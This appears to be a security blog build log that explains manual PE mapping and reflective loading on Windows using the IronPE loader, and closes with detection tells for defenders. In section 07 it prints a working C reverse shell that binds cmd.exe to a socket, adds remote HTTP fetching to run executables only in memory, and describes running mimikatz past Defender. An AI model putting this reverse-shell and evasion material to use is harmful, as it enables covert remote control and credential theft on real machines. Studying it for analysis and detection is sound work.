// Build log 03 / Windows internals

Manual PE mapping: running an EXE like the Windows loader

Every program you have ever double-clicked was quietly prepared before its first instruction ran: sections unpacked, addresses corrected, libraries connected. I performed that preparation by hand, on top of the open-source IronPE project, and it changed how I read every security alert since.

// Read this first

This is a study of the PE file format, built on IronPE, an excellent open-source manual loader, and extended in my own lab against executables I generated on machines I own. Understanding this format is baseline knowledge for malware analysts, which is exactly why it's taught on page one of every analysis course.

01What the Windows loader does

Launching an EXE feels instant and magical, and it is neither. The file on disk is not a ready-to-run image; it's a blueprint with assumptions baked in. Before a single instruction of your program executes, Windows has read that blueprint and performed a small miracle of bookkeeping: it reserved memory of the right size, copied each chunk of the program to where its code expects to find it, corrected every absolute address that assumed a different location, and connected the program to every system library it needs.

A reflective loader performs the identical ritual with one difference: no new process, no file on disk, no ceremony. A process that is already running takes the bytes of an executable from a socket or an HTTP response, applies the whole ritual to itself, and jumps in. From the outside, the process still looks like whatever it was before. From the inside, it's now running something else entirely.

To follow the story, you need one picture of the file itself. A PE on disk is a stack of headers followed by the actual content, split into sections:

// a pe file on disk DOS header PE signature File header Optional header Section table .text .data .rdata .rsrc

02Reading the blueprint

Every PE begins with the two letters MZ, a courtesy to an operating system from 1985 that no one has run in decades. The DOS header is almost entirely dead weight except for one field at offset 0x3C, called e_lfanew, which points to where the real header begins. From there you find the PE signature, then the file header, then the optional header, which carries a misleading name, because without it nothing works.

Three fields in the optional header run the entire rest of the story. AddressOfEntryPoint says where execution begins. ImageBase says the memory address where this program prefers to be loaded. And the section table, together with SizeOfImage, says how much room the finished program needs and how each piece should be laid out. Keep the idea of the preferred address in mind. It is about to cause the only genuine debugging nightmare in this project.

03Moving in: sections, disk versus memory

The first practical discovery is that the file's layout on disk and its layout in memory are different on purpose. On disk, everything is packed tightly for download size, aligned to 512-byte chunks. In memory, sections sit page-aligned, 4,096 bytes apart, because that's the granularity the CPU's memory protection works at. Same content, different addresses.

So the loader's first physical act is to reserve one region of memory the size of the finished image, copy the header block to the front, then walk the section table and copy each section from its packed file offset to its roomier virtual offset. After this step you have a faithful, in-memory copy of the executable, properly laid out and completely broken. Not one address inside it points where it should.

04The relocation problem

Compilers write instructions that reference absolute memory addresses. Call the function at this exact location, read the variable at that exact location. Those numbers were baked in when the program was compiled, against the preferred ImageBase. The compiler crossed its fingers and hoped the loader would cooperate.

Windows usually cooperates. My loader rarely did, because memory is shared and whatever the compiler asked for is usually taken. When the actual load address differs from the preferred one, every baked-in address is wrong by the same amount: the difference between the two. That difference is called the delta, and fixing each absolute reference by adding the delta to it is called applying relocations. The file helpfully contains a table of exactly which addresses need the correction, so the work is mechanical. Mechanical, and merciless. My first version missed one entry type, and the loaded program crashed with an access violation at an address that was almost, but not quite, sane. It took embarrassingly long to connect the crash to a single unpatched pointer.

A woman looking confused while math equations float around her
// reconciling the image base delta against the relocation table, late, in the lab

Manual loading is not an operating systems lecture. It is accounting, and the ledger must be perfect.

05Wiring up the imports

The program still cannot call the operating system. An EXE carries no code for MessageBoxW or VirtualAlloc; it carries a shopping list. For every function it needs, the import table records the library that provides it and the function's name. The loader walks that list, loads each library, asks Windows for each function's real address, and writes those addresses into a table inside the image called the Import Address Table. When the program later calls an imported function, it looks the address up in that table and lands in the right DLL.

Two things stuck with me here. First, how trusting the whole arrangement is: the loader fills the table with whatever the name resolves to, and nobody re-verifies anything. Second, the security relevance is obvious once you see it. Whoever controls how that table gets filled sees every imported call the process will ever make. This is precisely why EDR products care so much about hooking import resolution, and why a hand-rolled loader, which fills the table itself, quietly steps around the standard hooking points. Not invisible. Just off the paved road.

06The jump

Sections placed, addresses reconciled, imports wired. The optional header's entry point, adjusted by the relocation delta, gives one address inside the newly built image. Hand a new thread that address, and from that instant the loaded program has no idea, and no way to know, that Windows never loaded it. IronPE's standard demo runs mimikatz this way, in both 32-bit and 64-bit flavors: a well-known, heavily signatured tool, executing with no mimikatz.exe ever existing on disk and no new process on the system.

ironpe-defender-bypass.mp4PoC recording
// full PoC: mapping and running an EXE reflectively while Defender stays silent

Full disclosure of the shortcuts, because they matter: production loaders also handle TLS callbacks, which run code before the entry point, exception handling registration, delay-loaded imports, and .NET images, which are a different format wearing the same clothes. IronPE handles native PEs and skips the rest. Every shortcut is a crash waiting for the right input, which is fine when you own the input, and fatal when you don't.

07What I added to IronPE

Upstream IronPE reads the PE from a file on disk, which misses the point of reflective loading, so my first extension was remote fetching: give the loader a URL, and it pulls the bytes over HTTP before mapping them. That change collapses the whole pipeline into one process: nothing to scan on disk, nothing to hash, an executable that exists only in the memory of a program that nominally has nothing to do with it.

The second extension replaced framework-provided shells with one I wrote myself in C, partly for the learning and partly because of a pattern the first build log established: public tooling gets flagged for being public, while small custom code is quiet because no one has ever seen it. The entire shell is a socket with cmd.exe attached. Winsock connects, and one flag does the rest:

rev.cc
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
connect(sock, (SOCKADDR*)&addr, sizeof(addr));      // lab machine

si.dwFlags  = STARTF_USESTDHANDLES;   // "the child's console is my socket"
si.hStdInput  = (HANDLE)sock;
si.hStdOutput = (HANDLE)sock;
si.hStdError  = (HANDLE)sock;

CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

cmd.exe doesn't know it's talking to a network. As far as it can tell, that socket is its console. Someone on the lab box types whoami, the bytes travel down the socket, cmd reads them as keyboard input, and the answer travels back. Twenty lines of C, no framework, no signature on record.

Success kid fist pump meme
// mimikatz, reflectively loaded in the lab, x86 and x64, zero files on disk
// What the blue team actually sees

Reflective loading keeps things off disk, but memory keeps honest records. The four tells I'd hunt for:

  • Executable memory with no owner. The mapped image lives in private memory, unbacked by any file. Threads whose start address sits there are the cleanest signal this technique produces.
  • The alloc, fill, flip pattern. A large read-write commit that gets populated and then shifted toward executable is the same RW to RX shape from the loader post, in a different order.
  • Import resolution storms. A sudden burst of LoadLibrary and GetProcAddress calls from a process that just started a thread in strange memory is a chain worth scoring high.
  • A console with a network handle. cmd.exe whose stdin and stdout point at a socket instead of a console is visible from handle tables alone. No signatures required, and frameworks get caught by exactly this.

08What it changed for me

The loader post was about beating a scanner, and the RAT post was about profiling an EDR. This one paid a different kind of dividend. Since applying relocations by hand, I read memory forensics output differently, I understand why .NET binaries confuse certain memory scanners, and "process hollowing" alerts stopped being a name I matched and became a ritual I've performed, with steps I can enumerate from memory.

If you want the same experience, the path is short. Read Microsoft's PE specification, then read IronPE's source, which is the cleanest Rust implementation of the idea I've found. Map notepad.exe before you map anything exciting. The loader doesn't care what the bytes do, and neither should your first attempt.

← All build logs